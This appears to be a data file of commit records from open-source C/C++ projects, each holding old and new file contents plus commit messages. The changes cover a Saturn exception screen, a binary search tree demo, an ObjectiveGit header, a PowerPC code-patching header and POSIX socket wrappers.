{"commit":"2658baee614225bb6cc32a89843cbf455c1a5799","old_file":"libyaul\/common\/internal_exception_show.c","new_file":"libyaul\/common\/internal_exception_show.c","old_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#include <stdlib.h>\n\n#include <vdp1.h>\n#include <vdp2.h>\n#include <vdp2\/tvmd.h>\n#include <vdp2\/vram.h>\n\n#include <cons.h>\n\nvoid __noreturn\ninternal_exception_show(const char *buffer)\n{\n        \/* Reset the VDP1 *\/\n        vdp1_init();\n\n        \/* Reset the VDP2 *\/\n        vdp2_init();\n        vdp2_tvmd_display_res_set(TVMD_INTERLACE_NONE, TVMD_HORZ_NORMAL_A,\n            TVMD_VERT_224);\n        vdp2_scrn_back_screen_color_set(VRAM_ADDR_4MBIT(0, 0x01FFFE),\n            COLOR_RGB555(0, 7, 0));\n        vdp2_tvmd_display_set();\n\n        cons_init(CONS_DRIVER_VDP2, 40, 28);\n        cons_buffer(buffer);\n\n        vdp2_tvmd_vblank_out_wait();\n        vdp2_tvmd_vblank_in_wait();\n        vdp2_commit();\n        cons_flush();\n\n        abort();\n}\n","new_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#include <stdlib.h>\n\n#include <vdp1.h>\n#include <vdp2.h>\n#include <vdp2\/tvmd.h>\n#include <vdp2\/vram.h>\n\n#include <cons.h>\n\nvoid __noreturn\ninternal_exception_show(const char *buffer)\n{\n        \/* Reset the VDP1 *\/\n        vdp1_init();\n\n        \/* Reset the VDP2 *\/\n        vdp2_init();\n        vdp2_tvmd_display_res_set(TVMD_INTERLACE_NONE, TVMD_HORZ_NORMAL_A,\n            TVMD_VERT_224);\n        vdp2_scrn_back_screen_color_set(VRAM_ADDR_4MBIT(0, 0x01FFFE),\n            COLOR_RGB555(0, 7, 0));\n\n        \/* Set sprite to type 0 and set its priority to 0 (invisible) *\/\n        vdp2_sprite_type_set(0);\n        vdp2_sprite_priority_set(0, 0);\n\n        vdp2_tvmd_display_set();\n\n        cons_init(CONS_DRIVER_VDP2, 40, 28);\n        cons_buffer(buffer);\n\n        vdp2_tvmd_vblank_out_wait();\n        vdp2_tvmd_vblank_in_wait();\n        vdp2_commit();\n        cons_flush();\n\n        abort();\n}\n","subject":"Hide VDP1 even if FB hasn't been erased and changed","message":"Hide VDP1 even if FB hasn't been erased and changed\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"ccf5eaf49f000109d2d479156913154fd68c37b2","old_file":"polygon.h","new_file":"polygon.h","old_contents":"\/** Author : Paul TREHIOU & Victor SENE\n *  Date : November 2014\n **\/\n\n\/**\n * Declaration Point structure\n * x - real wich is the abscisse of the point\n * y - real wich is the ordinate of the point\n *\/\n typedef struct\n {\n \tfloat x;\n \tfloat y;\n }Point;\n\n \/**\n  * Function wich create a point with a specified abscisse and ordinate\n  * abscisse - real\n  * ordinate - real\n  * return a new point\n  *\/\ncreatePoint(float abscisse, float ordinate);\n\ntypedef struct pointelem{\n\n\tPoint value;\n\tpointelem* next;\n\tpointelem* before;\n\n}PointElement;\n\ntypedef PointElement* Polygon;\n","new_contents":"\/** Author : Paul TREHIOU & Victor SENE\n *  Date : November 2014\n **\/\n\n\/**\n * Declaration Point structure\n * x - real wich is the abscisse of the point\n * y - real wich is the ordinate of the point\n *\/\n\n typedef struct\n {\n \tfloat x;\n \tfloat y;\n }Point;\n\n\/**\n * Function wich create a point with a specified abscisse and ordinate\n * abscisse - real\n * ordinate - real\n * return a new point\n *\/\n\ncreatePoint(float abscisse, float ordinate);\n\ntypedef struct pointelem{\n\n\tPoint value;\n\tpointelem* next;\n\tpointelem* before;\n\n}PointElement;\n\ntypedef PointElement* Polygon;\n","subject":"Add some spaces and enters","message":"Add some spaces and enters\n","lang":"C","license":"mit","repos":"UTBroM\/GeometricLib"}
{"commit":"cdcea87381a6ff1711d039dec46ec01a919acb8e","old_file":"test\/CodeGen\/union-init2.c","new_file":"test\/CodeGen\/union-init2.c","old_contents":"\/\/ RUN: clang-cc -emit-llvm %s -o - | not grep ptrtoint\n\n\/\/ Make sure we generate something sane instead of a ptrtoint\nunion x {long long b;union x* a;} r = {.a = &r};\n","new_contents":"\/\/ RUN: clang-cc -emit-llvm %s -o - -triple i686-pc-linux-gnu | grep \"bitcast (%0\\* @r to %union.x\\*), \\[4 x i8\\] zeroinitializer\"\n\n\/\/ Make sure we generate something sane instead of a ptrtoint\nunion x {long long b;union x* a;} r = {.a = &r};\n","subject":"Make test a bit more precise.","message":"Make test a bit more precise.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@79073 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"b2187a9f743a7821ce764989f938916fe74ead06","old_file":"Binart_Search_Tree_BST\/BST_min_max.c","new_file":"Binart_Search_Tree_BST\/BST_min_max.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n\/* This is a code for binary search tree basic implementtion *\/\n\n\/\/Contains code for PreOrder, InOrder and PostOrder Traversals i.e. Depth First\n\ntypedef struct node{\n\tint data;\n\tstruct node* left;\n\tstruct node* right;\n} node;\n\nnode* head;\n\nnode* create(int data){\n\tnode* temp = (node* ) malloc(sizeof(node));\n\ttemp->data = data;\n\ttemp->left = NULL;\n\ttemp->right = NULL;\n\treturn temp;\n}\n\nnode* insert(node* current, int data){\n\n\tif(head == NULL){\n\t\tnode* temp;\n\t\ttemp = create(data);\n\t\thead = temp;\n\t\treturn temp;\n\n\t}\n\telse{\n\t\tif(current == NULL){\n\t\t\tnode* temp;\n\t\t\ttemp = create(data);\n\t\t\treturn temp;\n\t\t}\n\n\t\tif(data <= current->data){\n\n\t\t\tcurrent->left = insert(current->left,data);\n\t\t}\n\t\telse if ( data > current->data){\n\n\t\t\tcurrent->right = insert(current->right,data);\n\t\t}\n\n\t}\n\treturn current;\n\n}\n\n\nvoid print_preorder_all(node* temp){\n\tif(temp != NULL){\n\n\t\tprintf(\"data %d \",temp->data);\n\n\t\tif(temp->left != NULL){\n\t\tprintf(\"left child %d \",temp->left->data);}\n\t\telse {\n\t\t\tprintf(\"left child NULL \");\n\t\t}\n\t\tif(temp->right != NULL){\n\t\tprintf(\"right child %d \\n\",temp->right->data);}\n\t\telse {\n\t\t\tprintf(\"right child NULL \\n\");\n\t\t}\n\t\t\n\t\tprint_preorder_all(temp->left);\n\t\tprint_preorder_all(temp->right);\n\t}\n\treturn;\n}\n\n\/* Size of tree i.e. number of nodes *\/\n\nint min_tree(node* root){\n\tnode* temp;\n\ttemp =root; \n\tif(temp == NULL ){\n\t\treturn 0;\n\t}\n\telse{\n\t\twhile (temp->left!=NULL){\n\t\t\ttemp = temp->left;\n\t\t}\n\t\treturn temp->data;\n\t}\n\t\n}\n\nint max_tree(node* root){\n\tnode* temp;\n\ttemp =root; \n\tif(temp == NULL ){\n\t\treturn 0;\n\t}\n\telse{\n\t\twhile (temp->right!=NULL){\n\t\t\ttemp = temp->right;\n\t\t}\n\t\treturn temp->data;\n\t}\n}\n\nint main(){\n\thead = NULL;\n\tnode* temp;\n\t\n\tint A[7] = {9,4,15,2,6,12,17};\n\tint i;\n\tfor(i =0 ; i<7 ; i ++){\n\t\ttemp = insert(head,A[i]);\n\t}\n\t\n\t\n\tprintf(\"all info\\n\");\n\tprint_preorder_all(head);\n\tprintf(\"\\n\");\n\n\tprintf(\"The min of tree is %d \\n\",min_tree(head));\n\tprintf(\"The max of tree is %d \\n\",max_tree(head));\n\n\treturn 0;\n}","subject":"Add BST find min and max value node","message":"Add BST find min and max value node\n","lang":"C","license":"mit","repos":"anaghajoshi\/C_DataStructures_Algorithms"}
{"commit":"9d58853f5797b062e68509c2afcfe5375309d145","old_file":"Classes\/GTDiffFile.h","new_file":"Classes\/GTDiffFile.h","old_contents":"\/\/\n\/\/  GTDiffFile.h\n\/\/  ObjectiveGitFramework\n\/\/\n\/\/  Created by Danny Greg on 30\/11\/2012.\n\/\/  Copyright (c) 2012 GitHub, Inc. All rights reserved.\n\/\/\n\n#import \"git2.h\"\n\n\/\/ Flags which may be set on the file.\n\/\/\n\/\/ See diff.h for individual documentation.\ntypedef enum : git_diff_file_flag_t {\n\tGTDiffFileFlagValidOID = GIT_DIFF_FILE_VALID_OID,\n\tGTDiffFileFlagFreePath = GIT_DIFF_FILE_FREE_PATH,\n\tGTDiffFileFlagBinary = GIT_DIFF_FILE_BINARY,\n\tGTDiffFileFlagNotBinary = GIT_DIFF_FILE_NOT_BINARY,\n\tGTDiffFileFlagFreeData = GIT_DIFF_FILE_FREE_DATA,\n\tGTDiffFileFlagUnmapData = GIT_DIFF_FILE_UNMAP_DATA,\n\tGTDiffFileFlagNoData = GIT_DIFF_FILE_NO_DATA,\n} GTDiffFileFlag;\n\n\/\/ A class representing a file on one side of a diff.\n@interface GTDiffFile : NSObject\n\n\/\/ The location within the working directory of the file.\n@property (nonatomic, readonly, copy) NSString *path;\n\n\/\/ The size (in bytes) of the file.\n@property (nonatomic, readonly) NSUInteger size;\n\n\/\/ Any flags set on the file (see `GTDiffFileFlag` for more info).\n@property (nonatomic, readonly) GTDiffFileFlag flags;\n\n\/\/ The mode of the file.\n@property (nonatomic, readonly) mode_t mode;\n\n\/\/ Designated initialiser.\n- (instancetype)initWithGitDiffFile:(git_diff_file)file;\n\n@end\n","new_contents":"\/\/\n\/\/  GTDiffFile.h\n\/\/  ObjectiveGitFramework\n\/\/\n\/\/  Created by Danny Greg on 30\/11\/2012.\n\/\/  Copyright (c) 2012 GitHub, Inc. All rights reserved.\n\/\/\n\n#import \"git2.h\"\n\n\/\/ Flags which may be set on the file.\n\/\/\n\/\/ See diff.h for individual documentation.\ntypedef enum : git_diff_flag_t {\n\tGTDiffFileFlagValidOID = GIT_DIFF_FLAG_VALID_OID,\n\tGTDiffFileFlagBinary = GIT_DIFF_FLAG_BINARY,\n\tGTDiffFileFlagNotBinary = GIT_DIFF_FLAG_NOT_BINARY,\n} GTDiffFileFlag;\n\n\/\/ A class representing a file on one side of a diff.\n@interface GTDiffFile : NSObject\n\n\/\/ The location within the working directory of the file.\n@property (nonatomic, readonly, copy) NSString *path;\n\n\/\/ The size (in bytes) of the file.\n@property (nonatomic, readonly) NSUInteger size;\n\n\/\/ Any flags set on the file (see `GTDiffFileFlag` for more info).\n@property (nonatomic, readonly) GTDiffFileFlag flags;\n\n\/\/ The mode of the file.\n@property (nonatomic, readonly) mode_t mode;\n\n\/\/ Designated initialiser.\n- (instancetype)initWithGitDiffFile:(git_diff_file)file;\n\n@end\n","subject":"Remove some diff file flags","message":"Remove some diff file flags\n","lang":"C","license":"mit","repos":"libgit2\/objective-git,TOMalley104\/objective-git,alehed\/objective-git,pietbrauer\/objective-git,nerdishbynature\/objective-git,c9s\/objective-git,misterfifths\/objective-git,dleehr\/objective-git,Acidburn0zzz\/objective-git,phatblat\/objective-git,dleehr\/objective-git,blackpixel\/objective-git,slavikus\/objective-git,slavikus\/objective-git,nerdishbynature\/objective-git,dleehr\/objective-git,pietbrauer\/objective-git,libgit2\/objective-git,misterfifths\/objective-git,0x4a616e\/objective-git,blackpixel\/objective-git,c9s\/objective-git,javiertoledo\/objective-git,pietbrauer\/objective-git,libgit2\/objective-git,tiennou\/objective-git,libgit2\/objective-git,phatblat\/objective-git,alehed\/objective-git,tiennou\/objective-git,TOMalley104\/objective-git,phatblat\/objective-git,0x4a616e\/objective-git,blackpixel\/objective-git,javiertoledo\/objective-git,blackpixel\/objective-git,alehed\/objective-git,misterfifths\/objective-git,misterfifths\/objective-git,javiertoledo\/objective-git,nerdishbynature\/objective-git,c9s\/objective-git,javiertoledo\/objective-git,TOMalley104\/objective-git,TOMalley104\/objective-git,pietbrauer\/objective-git,0x4a616e\/objective-git,Acidburn0zzz\/objective-git,c9s\/objective-git,Acidburn0zzz\/objective-git,tiennou\/objective-git,slavikus\/objective-git,dleehr\/objective-git,Acidburn0zzz\/objective-git"}
{"commit":"7aefbf7e8a5917cf482a097a1670153c7a4c893b","old_file":"event\/event_system.h","new_file":"event\/event_system.h","old_contents":"","new_contents":"#ifndef\tEVENT_SYSTEM_H\n#define\tEVENT_SYSTEM_H\n\n#include <event\/event_thread.h>\n\n\/*\n * XXX\n * This is kind of an awful shim while we move\n * towards something thread-oriented.\n *\/\n\nclass EventSystem {\n\tEventThread td_;\nprivate:\n\tEventSystem(void)\n\t: td_()\n\t{ }\n\n\t~EventSystem()\n\t{ }\n\npublic:\n\tAction *poll(const EventPoll::Type& type, int fd, EventCallback *cb)\n\t{\n\t\treturn (td_.poll(type, fd, cb));\n\t}\n\n\tAction *register_interest(const EventInterest& interest, Callback *cb)\n\t{\n\t\treturn (td_.register_interest(interest, cb));\n\t}\n\n\tAction *schedule(Callback *cb)\n\t{\n\t\treturn (td_.schedule(cb));\n\t}\n\n\tAction *timeout(unsigned ms, Callback *cb)\n\t{\n\t\treturn (td_.timeout(ms, cb));\n\t}\n\n\tvoid start(void)\n\t{\n\t\ttd_.start();\n\n\t\ttd_.join();\n\t}\n\n\tstatic EventSystem *instance(void)\n\t{\n\t\tstatic EventSystem *instance;\n\n\t\tif (instance == NULL)\n\t\t\tinstance = new EventSystem();\n\t\treturn (instance);\n\t}\n};\n\n#endif \/* !EVENT_SYSTEM_H *\/\n","subject":"Add EventSystem shim missed in r588.","message":"Add EventSystem shim missed in r588.\n\n","lang":"C","license":"bsd-2-clause","repos":"wanproxy\/wanproxy,wanproxy\/wanproxy,wanproxy\/wanproxy"}
{"commit":"d6ab18fa7eb560259922cdaaafc0804d6e42a05e","old_file":"benchmarks\/move_only.h","new_file":"benchmarks\/move_only.h","old_contents":"","new_contents":"\/*\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Morwenn\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n#include <stdexcept>\n#include <utility>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Move-only type for benchmarks\n\/\/\n\/\/ std::sort and std::stable_sort are supposed to be able to\n\/\/ sort collections of types that are move-only and that are\n\/\/ not default-constructible. The class template move_only\n\/\/ wraps such a type and can be fed to algorithms to check\n\/\/ whether they still compile.\n\/\/\n\/\/ Additionally, move_only detects attempts to read the value\n\/\/ after a move has been performed and throws an exceptions\n\/\/ when it happens.\n\/\/\n\ntemplate<typename T>\nstruct move_only\n{\n    \/\/ Not default-constructible\n    move_only() = delete;\n\n    \/\/ Move-only\n    move_only(const move_only&) = delete;\n    move_only& operator=(const move_only&) = delete;\n\n    \/\/ Can be constructed from a T for convenience\n    move_only(const T& value):\n        can_read(true),\n        value(value)\n    {}\n\n    \/\/ Move operators\n\n    move_only(move_only&& other):\n        can_read(true),\n        value(std::move(other.value))\n    {\n        if (not std::exchange(other.can_read, false))\n        {\n            throw std::logic_error(\"illegal read from a moved-from value\");\n        }\n    }\n\n    auto operator=(move_only&& other)\n        -> move_only&\n    {\n        if (&other != this)\n        {\n            if (not std::exchange(other.can_read, false))\n            {\n                throw std::logic_error(\"illegal read from a moved-from value\");\n            }\n            can_read = true;\n            value = std::move(other.value);\n        }\n        return *this;\n    }\n\n    \/\/ Whether the value can be read\n    bool can_read = false;\n    \/\/ Actual value\n    T value;\n};\n\ntemplate<typename T>\nauto operator<(const move_only<T>& lhs, const move_only<T>& rhs)\n    -> bool\n{\n    return lhs.value < rhs.value;\n}\n","subject":"Add move-only type for testing\/benchmarking.","message":"Add move-only type for testing\/benchmarking.\n","lang":"C","license":"mit","repos":"Morwenn\/cpp-sort,Morwenn\/cpp-sort,Morwenn\/cpp-sort,Morwenn\/cpp-sort"}
{"commit":"9bb74efd41b19d80944a9769378421a148434283","old_file":"sdch_request_context.h","new_file":"sdch_request_context.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2015 Yandex LLC. All rights reserved.\n\/\/ Author: Vasily Chekalkin <bacek@yandex-team.ru>\n\n#ifndef SDCH_REQUEST_CONTEXT_H_\n#define SDCH_REQUEST_CONTEXT_H_\n\nextern \"C\" {\n\n#include <ngx_config.h>\n#include <nginx.h>\n#include <ngx_core.h>\n#include <ngx_http.h>\n\n}\n\nnamespace sdch {\n\nclass Handler;\n\n\/\/ Context used inside nginx to keep relevant data.\nstruct RequestContext {\n    ngx_http_request_t  *request;\n\n    ngx_chain_t         *in;\n    ngx_chain_t         *free;\n    ngx_chain_t         *busy;\n    ngx_chain_t         *out;\n    ngx_chain_t        **last_out;\n\n    ngx_chain_t         *copied;\n    ngx_chain_t         *copy_buf;\n\n    ngx_buf_t           *in_buf;\n    ngx_buf_t           *out_buf;\n    ngx_int_t            bufs;\n\n    struct sdch_dict    *dict;\n    struct sdch_dict     fdict;\n\n    unsigned             started:1;\n    unsigned             flush:4;\n    unsigned             redo:1;\n    unsigned             done:1;\n    unsigned             nomem:1;\n    unsigned             buffering:1;\n\n    unsigned             store:1;\n\n    size_t               zin;\n    size_t               zout;\n\n    z_stream             zstream;\n\n    struct sv            *stuc;\n};\n\n private:\n};\n\n\n}  \/\/ namespace sdch\n\n#endif  \/\/ SDCH_REQUEST_CONTEXT_H_\n\n","subject":"Add copy-pasted stub for future RequestContext","message":"Add copy-pasted stub for future RequestContext\n","lang":"C","license":"mit","repos":"yandex\/sdch_module,yandex\/sdch_module,yandex\/sdch_module,yandex\/sdch_module"}
{"commit":"07630a37beefe8e4401c602f04e3e5bcbba50b31","old_file":"include\/asm-powerpc\/code-patching.h","new_file":"include\/asm-powerpc\/code-patching.h","old_contents":"#ifndef _ASM_POWERPC_CODE_PATCHING_H\n#define _ASM_POWERPC_CODE_PATCHING_H\n\n\/*\n * Copyright 2008, Michael Ellerman, IBM Corporation.\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\n\/* Flags for create_branch:\n * \"b\"   == create_branch(addr, target, 0);\n * \"ba\"  == create_branch(addr, target, BRANCH_ABSOLUTE);\n * \"bl\"  == create_branch(addr, target, BRANCH_SET_LINK);\n * \"bla\" == create_branch(addr, target, BRANCH_ABSOLUTE | BRANCH_SET_LINK);\n *\/\n#define BRANCH_SET_LINK\t0x1\n#define BRANCH_ABSOLUTE\t0x2\n\nunsigned int create_branch(const unsigned int *addr,\n\t\t\t   unsigned long target, int flags);\nvoid patch_branch(unsigned int *addr, unsigned long target, int flags);\nvoid patch_instruction(unsigned int *addr, unsigned int instr);\n\n#endif \/* _ASM_POWERPC_CODE_PATCHING_H *\/\n","new_contents":"#ifndef _ASM_POWERPC_CODE_PATCHING_H\n#define _ASM_POWERPC_CODE_PATCHING_H\n\n\/*\n * Copyright 2008, Michael Ellerman, IBM Corporation.\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\n#include <asm\/types.h>\n\n\/* Flags for create_branch:\n * \"b\"   == create_branch(addr, target, 0);\n * \"ba\"  == create_branch(addr, target, BRANCH_ABSOLUTE);\n * \"bl\"  == create_branch(addr, target, BRANCH_SET_LINK);\n * \"bla\" == create_branch(addr, target, BRANCH_ABSOLUTE | BRANCH_SET_LINK);\n *\/\n#define BRANCH_SET_LINK\t0x1\n#define BRANCH_ABSOLUTE\t0x2\n\nunsigned int create_branch(const unsigned int *addr,\n\t\t\t   unsigned long target, int flags);\nvoid patch_branch(unsigned int *addr, unsigned long target, int flags);\nvoid patch_instruction(unsigned int *addr, unsigned int instr);\n\nstatic inline unsigned long ppc_function_entry(void *func)\n{\n#ifdef CONFIG_PPC64\n\t\/*\n\t * On PPC64 the function pointer actually points to the function's\n\t * descriptor. The first entry in the descriptor is the address\n\t * of the function text.\n\t *\/\n\treturn ((func_descr_t *)func)->entry;\n#else\n\treturn (unsigned long)func;\n#endif\n}\n\n#endif \/* _ASM_POWERPC_CODE_PATCHING_H *\/\n","subject":"Add ppc_function_entry() which gets the entry point for a function","message":"powerpc: Add ppc_function_entry() which gets the entry point for a function\n\nBecause function pointers point to different things on 32-bit vs 64-bit,\nadd a macro that deals with dereferencing the OPD on 64-bit.  The soon to\nbe merged ftrace wants this, as well as other code I am working on.\n\nSigned-off-by: Michael Ellerman <17b9e1c64588c7fa6419b4d29dc1f4426279ba01@ellerman.id.au>\nAcked-by: Kumar Gala <383ef5577c6e1178b93f59ec8d0936f76d2a98c4@kernel.crashing.org>\nSigned-off-by: Paul Mackerras <19a0ba370c443ba08d20b5061586430ab449ee8c@samba.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"e3eaf3ba1da697344a1323715a0cd53c5163ba5f","old_file":"include\/exceptions\/file_not_found.h","new_file":"include\/exceptions\/file_not_found.h","old_contents":"","new_contents":"#pragma once\n\n#include <stdexcept>\n\nnamespace erebus {\n\n\/**\n * This is a exception for the case a stated file doenst exist.\n *\/\nclass file_not_found : public std::runtime_error {\npublic:\n\t\/**\n\t * Constructor.\n\t *\/\n\texplicit file_not_found(const std::string& msg) : std::runtime_error(msg) {\n\n\t}\n};\n\n}","subject":"Add file not found exception","message":"Add file not found exception\n","lang":"C","license":"apache-2.0","repos":"GuardianRG\/erebus,GuardianRG\/erebus"}
{"commit":"05039aede1e3a411978e89c4683caa9909f23c55","old_file":"libftl\/posix\/socket.c","new_file":"libftl\/posix\/socket.c","old_contents":"","new_contents":"\/**\n* \\file socket.c - Windows Socket Abstractions\n*\n* Copyright (c) 2015 Michael Casadevall\n*\n* Permission is hereby granted, free of charge, to any person obtaining a copy\n* of this software and associated documentation files (the \"Software\"), to deal\n* in the Software without restriction, including without limitation the rights\n* to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n* copies of the Software, and to permit persons to whom the Software is\n* furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included in\n* all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n* SOFTWARE.\n**\/\n\n#define __FTL_INTERNAL\n#include \"ftl.h\"\n\n#include <unistd.h>\n\nvoid ftl_init_sockets() {\n  \/\/BSD sockets are smarter and don't need silly init\n}\n\nint ftl_close_socket(int sock) {\n  return close(sock);\n}\n\nchar * ftl_get_socket_error() {\n  return strerror(errno);\n}\n","subject":"Add POSIX files, yay. Almost fixes compile","message":"Add POSIX files, yay. Almost fixes compile\n","lang":"C","license":"mit","repos":"WatchBeam\/ftl-sdk,WatchBeam\/ftl-sdk"}
{"commit":"b2a3bd280e31b194b9cff3e44915f6344e959bef","old_file":"moses\/TranslationModel\/UG\/generic\/threading\/ug_ref_counter.h","new_file":"moses\/TranslationModel\/UG\/generic\/threading\/ug_ref_counter.h","old_contents":"#include \"ug_thread_safe_counter.h\"\n#pragma once\n\/\/ obsolete once intrusive_ref_counter is available everywhere\n\nnamespace Moses {\n\n  class reference_counter\n  {\n  public:\n    friend void intrusive_ptr_add_ref(reference_counter* p)\n    {\n      if (p) ++p->m_refcount;\n    }\n    friend void intrusive_ptr_release(reference_counter* p)\n    {\n      if (p && --p->m_refcount == 0) \n\tdelete p;\n    }\n  protected:\n    reference_counter() {}\n    virtual ~reference_counter() {};\n  private:\n    mutable ThreadSafeCounter m_refcount;\n  };\n}\n","new_contents":"#include \"ug_thread_safe_counter.h\"\n#pragma once\n\/\/ obsolete once intrusive_ref_counter is available everywhere\n\nnamespace Moses {\n\n  class reference_counter\n  {\n  public:\n    friend void intrusive_ptr_add_ref(reference_counter const* p)\n    {\n      if (p) ++p->m_refcount;\n    }\n    friend void intrusive_ptr_release(reference_counter const* p)\n    {\n      if (p && --p->m_refcount == 0) \n\tdelete p;\n    }\n  protected:\n    reference_counter() {}\n    virtual ~reference_counter() {};\n  private:\n    mutable ThreadSafeCounter m_refcount;\n  };\n}\n","subject":"Allow intrusive pointers to const objects.","message":"Allow intrusive pointers to const objects.\n","lang":"C","license":"lgpl-2.1","repos":"pjwilliams\/mosesdecoder,KonceptGeek\/mosesdecoder,tofula\/mosesdecoder,pjwilliams\/mosesdecoder,pjwilliams\/mosesdecoder,KonceptGeek\/mosesdecoder,tofula\/mosesdecoder,moses-smt\/mosesdecoder,alvations\/mosesdecoder,KonceptGeek\/mosesdecoder,moses-smt\/mosesdecoder,pjwilliams\/mosesdecoder,alvations\/mosesdecoder,hychyc07\/mosesdecoder,emjotde\/mosesdecoder_nmt,emjotde\/mosesdecoder_nmt,tofula\/mosesdecoder,hychyc07\/mosesdecoder,emjotde\/mosesdecoder_nmt,tofula\/mosesdecoder,tofula\/mosesdecoder,moses-smt\/mosesdecoder,tofula\/mosesdecoder,KonceptGeek\/mosesdecoder,hychyc07\/mosesdecoder,tofula\/mosesdecoder,moses-smt\/mosesdecoder,alvations\/mosesdecoder,emjotde\/mosesdecoder_nmt,emjotde\/mosesdecoder_nmt,hychyc07\/mosesdecoder,alvations\/mosesdecoder,tofula\/mosesdecoder,moses-smt\/mosesdecoder,KonceptGeek\/mosesdecoder,tofula\/mosesdecoder,emjotde\/mosesdecoder_nmt,moses-smt\/mosesdecoder,alvations\/mosesdecoder,alvations\/mosesdecoder,tofula\/mosesdecoder,alvations\/mosesdecoder,pjwilliams\/mosesdecoder,alvations\/mosesdecoder,hychyc07\/mosesdecoder,moses-smt\/mosesdecoder,KonceptGeek\/mosesdecoder,moses-smt\/mosesdecoder,KonceptGeek\/mosesdecoder,moses-smt\/mosesdecoder,emjotde\/mosesdecoder_nmt,moses-smt\/mosesdecoder,pjwilliams\/mosesdecoder,emjotde\/mosesdecoder_nmt,emjotde\/mosesdecoder_nmt,KonceptGeek\/mosesdecoder,emjotde\/mosesdecoder_nmt,alvations\/mosesdecoder,hychyc07\/mosesdecoder,pjwilliams\/mosesdecoder,pjwilliams\/mosesdecoder,pjwilliams\/mosesdecoder,hychyc07\/mosesdecoder,moses-smt\/mosesdecoder,alvations\/mosesdecoder,hychyc07\/mosesdecoder,tofula\/mosesdecoder,pjwilliams\/mosesdecoder,alvations\/mosesdecoder,KonceptGeek\/mosesdecoder,hychyc07\/mosesdecoder,hychyc07\/mosesdecoder,KonceptGeek\/mosesdecoder"}
